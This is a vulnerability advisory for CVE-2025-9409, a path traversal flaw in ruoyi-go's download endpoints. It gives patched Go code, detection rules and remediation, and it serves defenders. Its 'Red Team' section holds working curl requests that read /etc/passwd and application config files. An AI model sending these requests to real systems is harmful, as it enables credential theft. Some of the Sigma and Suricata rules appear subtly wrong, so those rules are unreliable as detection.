CVE-2025-9409
Executive Summary
CVE-2025-9409 is a path traversal vulnerability in the lostvip-com/ruoyi-go project, a Go-based web application framework. The flaw resides in the DownloadTmp/DownloadUpload function within modules/system/controller/CommonController.go. By manipulating the fileName argument, an unauthenticated remote attacker can read arbitrary files from the server filesystem. The vendor has not responded to disclosure, and no official patch exists. The EPSS score is 0.0%, indicating low active exploitation probability, but the public availability of exploit code increases risk for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a Go module (lostvip-com/ruoyi-go). The vulnerability affects the application's own controller code, not a third-party dependency. However, any project importing this module as a dependency inherits the vulnerability. Users should verify if they are using the affected version and consider forking or applying a manual patch.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): Low (L) – Limited to reading files; no write capability.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Base Score: 4.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Threat Level: Medium. The vulnerability is easy to exploit but only allows read access. However, reading sensitive files (e.g., configuration, credentials) can lead to further compromise.
Deep Dive & Mechanics
The vulnerability exists in the DownloadTmp and DownloadUpload functions in CommonController.go. These functions are designed to serve temporary or uploaded files to users. The fileName parameter is taken directly from the HTTP request and used to construct a file path without proper sanitization.
Vulnerable Code Path:
- The handler receives a request with a
fileNameparameter. - The
fileNameis concatenated with a base directory (e.g.,./tmp/or./upload/). - The resulting path is used to open and serve the file.
- An attacker can supply
fileName=../../etc/passwdto traverse outside the intended directory.
Root Cause: Lack of input validation and path canonicalization. The application does not check for ../ sequences or resolve the path to ensure it stays within the allowed directory.
Impact: An attacker can read any file the application process has access to, including:
- Application configuration files (e.g., database credentials, API keys)
- System files (e.g.,
/etc/passwd,/etc/shadow) - Source code (if readable)
Vulnerable vs. Patched Code
Vulnerable Code (CommonController.go):
func (c *CommonController) DownloadTmp() {
fileName := c.Ctx.Input.Param(":fileName")
filePath := "./tmp/" + fileName
c.Ctx.Output.Download(filePath)
}
Patched Code (Recommended):
import (
"path/filepath"
"strings"
)
func (c *CommonController) DownloadTmp() {
fileName := c.Ctx.Input.Param(":fileName")
// Sanitize: remove any path traversal sequences
cleanName := filepath.Clean(fileName)
if strings.Contains(cleanName, "..") {
c.Ctx.Output.SetStatus(400)
c.Ctx.Output.Body([]byte("Invalid file name"))
return
}
// Ensure the final path is within the allowed directory
baseDir := "./tmp/"
absBase, _ := filepath.Abs(baseDir)
absPath, _ := filepath.Abs(filepath.Join(baseDir, cleanName))
if !strings.HasPrefix(absPath, absBase) {
c.Ctx.Output.SetStatus(400)
c.Ctx.Output.Body([]byte("Access denied"))
return
}
c.Ctx.Output.Download(absPath)
}
Key Changes:
- Use
filepath.Cleanto normalize the path. - Reject any path containing
..after cleaning. - Resolve absolute paths and verify the final path starts with the allowed base directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running
lostvip-com/ruoyi-goversion <= 2.1. - The vulnerable endpoint is accessible (e.g.,
/common/download/tmp/{fileName}or/common/download/upload/{fileName}).
Exploit Steps:
- Identify the vulnerable endpoint. Common patterns:
GET /common/download/tmp/../../etc/passwdGET /common/download/upload/../../etc/passwd
- Use curl or a browser to send the request:
curl -v "http://target.com/common/download/tmp/../../etc/passwd" - If successful, the server will return the contents of
/etc/passwd.
Example Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Advanced Exploitation:
- Read application configuration files to extract database credentials:
curl "http://target.com/common/download/tmp/../conf/app.conf" - Chain with other vulnerabilities (e.g., if credentials are found, attempt lateral movement).
Blue Team (Detection & Response)
Detection:
- Monitor web server logs for requests containing
../or..%2fin the URL path. - Look for requests to
/common/download/tmp/or/common/download/upload/with suspicious file names. - Alert on any successful read of sensitive files (e.g.,
/etc/passwd,/etc/shadow,.env).
Response:
- Immediately isolate the affected server.
- Review logs to determine if any sensitive files were accessed.
- Rotate any credentials that may have been exposed.
- Apply the recommended patch or implement a WAF rule to block path traversal attempts.
- Conduct a full forensic analysis.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
../or..%2fin the path, especially targeting/common/download/tmp/or/common/download/upload/. - Unusual file names in download requests (e.g.,
../../etc/passwd,../../proc/self/environ).
File System IOCs:
- Unexpected access to
/etc/passwd,/etc/shadow, or application configuration files. - Modified access times on sensitive files.
Log IOCs:
- Web server logs showing 200 responses to path traversal requests.
- Error logs showing attempts to read files outside the web root.
Detection Engineering
YARA Rule
rule CVE_2025_9409_Path_Traversal {
meta:
description = "Detects path traversal attempts targeting ruoyi-go DownloadTmp/DownloadUpload"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9409"
severity = "medium"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e%5c"
$endpoint1 = "/common/download/tmp/"
$endpoint2 = "/common/download/upload/"
condition:
any of ($endpoint*) and any of ($traversal*)
}
Sigma Rule
title: CVE-2025-9409 Path Traversal in ruoyi-go
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against ruoyi-go DownloadTmp/DownloadUpload endpoints
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-9409
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/common/download/tmp/*'
- '/common/download/upload/*'
cs-uri-query|contains:
- '../'
- '..%2f'
- '%2e%2e%2f'
condition: selection
falsepositives:
- Legitimate use of '..' in file names (rare)
level: medium
Suricata Rule
alert http any any -> $EXTERNAL_NET any (
msg:"CVE-2025-9409 - ruoyi-go Path Traversal Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"/common/download/"; http_uri;
pcre:"/(?:\.\.\/|\.\.%2f|%2e%2e%2f)/i";
reference:cve,2025-9409;
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Apply the patch (see Vulnerable vs. Patched Code section) to sanitize the
fileNameparameter. - Restrict access to the vulnerable endpoints using a Web Application Firewall (WAF) or reverse proxy rules.
- Disable the endpoints if not required for business operations.
Long-term Fixes:
- Implement input validation for all file-related parameters.
- Use a whitelist of allowed file names or extensions.
- Run the application with the least privileges necessary (e.g., do not run as root).
- Regularly update dependencies and monitor for security advisories.
Workaround (if patching is not possible):
- Add a WAF rule to block requests containing
../or..%2fin the URI. - Modify the application code to use a database or secure storage for file references instead of direct file paths.
Valters IT
Securing Digital Frontiers